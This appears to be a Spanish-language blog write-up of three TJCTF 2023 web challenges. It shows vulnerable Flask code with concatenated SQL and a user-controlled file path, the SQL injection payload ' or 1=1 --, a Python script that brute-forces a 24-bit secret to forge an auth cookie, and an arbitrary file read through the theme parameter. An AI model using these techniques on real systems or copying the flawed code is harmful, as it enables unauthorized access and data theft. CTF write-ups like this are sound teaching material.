Skip to content

[TJCTF 2023] Web challenges - Parte 1

9 minutos de lectura
Posted on:28 de mayo de 2023 at 20:00

Web Challenges - Parte 1

#hi

Author: kpdfgo

Comenzamos con una pantalla algo psicodélica donde en principio no se ve absolutamente nada Screenshot Reto Hi, solo se ve una pantalla abstracta blanca y negra

A priori no se ve absolutamente nada, asi que vamos al código fuente de la página y de momento vemos algo que llama la atención… Screenshot Reto Hi, con cógido html

Como se puede ver hay una imagen llamada secret-b888c3f2.svg, la abrimos y vemos que ya tenemos la flag: Imagen donde está escrita la flag del reto


#swill-squill

Author: stosp

Imagen donde está escrita la flag del reto

Comenzamos descargando el código proporcionado y lo analizo, rápidamente vemos que se ejecuta una consulta SQL concatenando valores que enviamos nosotros, con lo que ya tenemos el vector de entrada…el método register

@app.route('/register', methods=['POST'])
def post_register():
    name = request.form['name']
    grade = request.form['grade']

    if name == 'admin':
        return make_response(redirect('/'))

    res = make_response(redirect('/api'))
    res.set_cookie("jwt_auth", generate_token(name))

    c = conn.cursor()
    c.execute("SELECT * FROM users WHERE name == '"+name+"';")

    if c.fetchall():
        return res

    c = conn.cursor()
    c.execute('INSERT INTO users VALUES (?, ?)',
              (name, grade))
    conn.commit()

    return res

El único control que hay es que el usuario con el que nos registremos no sea admin, decir también que probé a registrarme con ese usuario ya que hay una función de inicialización de la base de datos donde inserta las notas del usuario admin y en uno de los registros está la flag…

def create_db():
    conn = sqlite3.connect(':memory:')
    c = conn.cursor()

    c.execute(
        'CREATE TABLE users (name text, grade text)')

    c.execute(
        'CREATE TABLE notes (description text, owner text)')

    c.execute('INSERT INTO users VALUES (?, ?)',
              ('admin', '12'))
    c.execute('INSERT INTO notes VALUES (?, ?)',
              ('My English class is soooooo hard...', 'admin'))
    c.execute('INSERT INTO notes VALUES (?, ?)',
              ('C- in Calculus LOL', 'admin'))
    c.execute('INSERT INTO notes VALUES (?, ?)',
              ("Saved this flag for safekeeping: "+flag, 'admin'))

    conn.commit()

    return conn

Si con admin no puedo, sigo con la query formada con un valor que enviamos nosotros desde el front

    c.execute("SELECT * FROM users WHERE name == '"+name+"';")

Que típica inyección probamos?

' or 1=1 --

Con lo que nos queda una query como la siguiente:

    c.execute("SELECT * FROM users WHERE name == '' or 1=1 --';")

Nos va a devolver lo que name sea cadena vacía o 1=1 que siempre será true, evidentemente nos devolverá todos los valores que haya dentro de la tabla users. El - - se agrega para que lo que siga a esa query lo tome como un comentario y no lo tenga en cuenta.

Al registrarnos con ese nombre de usuario nos lleva a la pantalla donde se guardan las notas y muestra todas las notas del usuario:

Imagen donde está escrita la flag del reto


#pay-to-win

Author: sToro

Imagen donde está escrita la flag del reto

Como en casi todos los retos web, tenemos un “login” con el que tenemos que trabajar. Analizamos el código proporcionado y por comentarlo por encima nos centramos en la parte donde se comprueba el tipo de usuario, porque se ve que es la manera de acceder al template de premium. Esto es la primera parte del reto, porque este reto se divide en dos partes o al menos yo la he divido en dos.

    if data_hash != actual_hash:
        return redirect('/login')

Concretamente este if es el objetivo, hay que buscar la manera de pasar esta validación, aqui lo que se compara son dos hash, uno que enviamos nosotros y que obtenemos como cookie al registrarnos y otro que se genera en cada request.

actual_hash = hash(data + users[payload['username']])

Estas dos cosas se generan en el registro y en cada request. Por defecto el objeto de usuario va hardcodeado con “basic”, entoces tenemos que cambiar esa propiedad y luego generar el hash del objeto en base64 + el número aleatorio para que el if donde se comprueba el hash sea true y no entre en el return.

Un vez localizado por donde, hay que ver como, asi que vamos a buscar la manera de descubrir ese número aleatorio. Para esto tenemos que ver la parte donde asigna a los usuarios esos números aleatorios.

        users[username] = hex(random.getrandbits(24))[2:]

Esto genera un número aleatorio entre 0 a 2^24 - 1 (0 a 16.777.215) jeje si si 16 millones, y tenemos que averiguar uno. La estrategia es coger el hash que tenemos en la cookie y compararlo con el hash obtenido con el mismo usuario pero con el número generado, si si, esos 16 millones hay que probarlo. Este es el script que he utilizado:

from pwn import *
from base64 import b64encode, b64decode
import json

data = {
        "username": 'pwned33',
        "user_type": "basic"
    }

def hash(data):
    return hashlib.sha256(bytes(data, 'utf-8')).hexdigest()

hashForCheck ='fdc06b27e95b06843991844a176e6255adb09b70e44dee70eeef74ce23ce2f9e'

numberFound =''
progress = log.progress('Fuerza Bruta ☕️')

for i in range(2**24):
   # print(i)
    b64data = b64encode(json.dumps(data).encode())
    data_hash = hash(b64data.decode() + hex(i)[2:])
    progress.status('Comparando hash: ' + str(i) + '/16777216 ('+str(round(i/16777216*100,2))+'%)')
    if data_hash == hashForCheck:
        numberFound = hex(i)[2:]
        break

if numberFound == '':
    progress.failure('No se encontró el número')
    exit(1)

log.progress('Hash válido: ' + hash(b64encode(json.dumps(data).encode()).decode() + ''))

Una vez obtenido el hash solo nos queda modificar las cookies introducciendo el hash y el objeto del usuario con el tipo encodeado en base64 y tendremos “acceso premium”. Si no solo tendriamos acceso a esta pantalla:

Imagen donde está escrita la flag del reto

Con las cookies modificadas ya podemos acceder al template premium: Imagen donde está escrita la flag del reto

Y hasta aqui la primera parte de este reto, ahora vamos a ver donde encontramos la flag. Para este paso vemos que en el código en el último if donde comprueba el tipo de usuario se lee el fichero donde está el css

    if payload['user_type'] == 'premium':
        theme_name = request.args.get('theme') or 'static/premium.css'
        return render_template('premium.jinja', theme_to_use=open(theme_name).read())

Vamos a aprovechar que ese fichero se accede mediante un parametro de la petición get, este parámetro es el “theme”, si miramos en el código proporcionado donde está flag, observamos que en el docker file mueve la flag a un nuevo directorio creado en la creación del contenedor.

RUN mkdir /secret-flag-dir; mv /app/flag.txt /secret-flag-dir/flag.txt

Al probar los enlaces que hay en la pantalla premium para ver como se forma la URL, se queda tal que así:

https://pay-to-win.tjc.tf/?theme=static/premium.css

Intentamos leer el fichero de la flag con la siguiente URL:

https://pay-to-win.tjc.tf/?theme=/secret-flag-dir/flag.txt

Se queda sin ningún tipo de estilo y eso es porque el css ahora solo contiene la flag.

<!DOCTYPE html>
<html lang="en">
  <style>
    tjctf{not_random_enough_64831eff}
  </style>
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Cool Premium Users Only</title>
  </head>
  <body>
    <p class="title">Welcome to the premium site!</p>
    <p></p>
    <p>You can now use themes! Try one of these themes below:</p>
    <a href="/?theme=static/premium.css">default</a>
    <a href="/?theme=static/light_mode.css">light mode</a>
    <a href="/?theme=static/garish.css">garish</a>
    <p>
      Due to supply chain issues, we cannot provide you with a flag... Sorry,
      and thanks for supporting this site!
    </p>
  </body>
</html>

Parte 2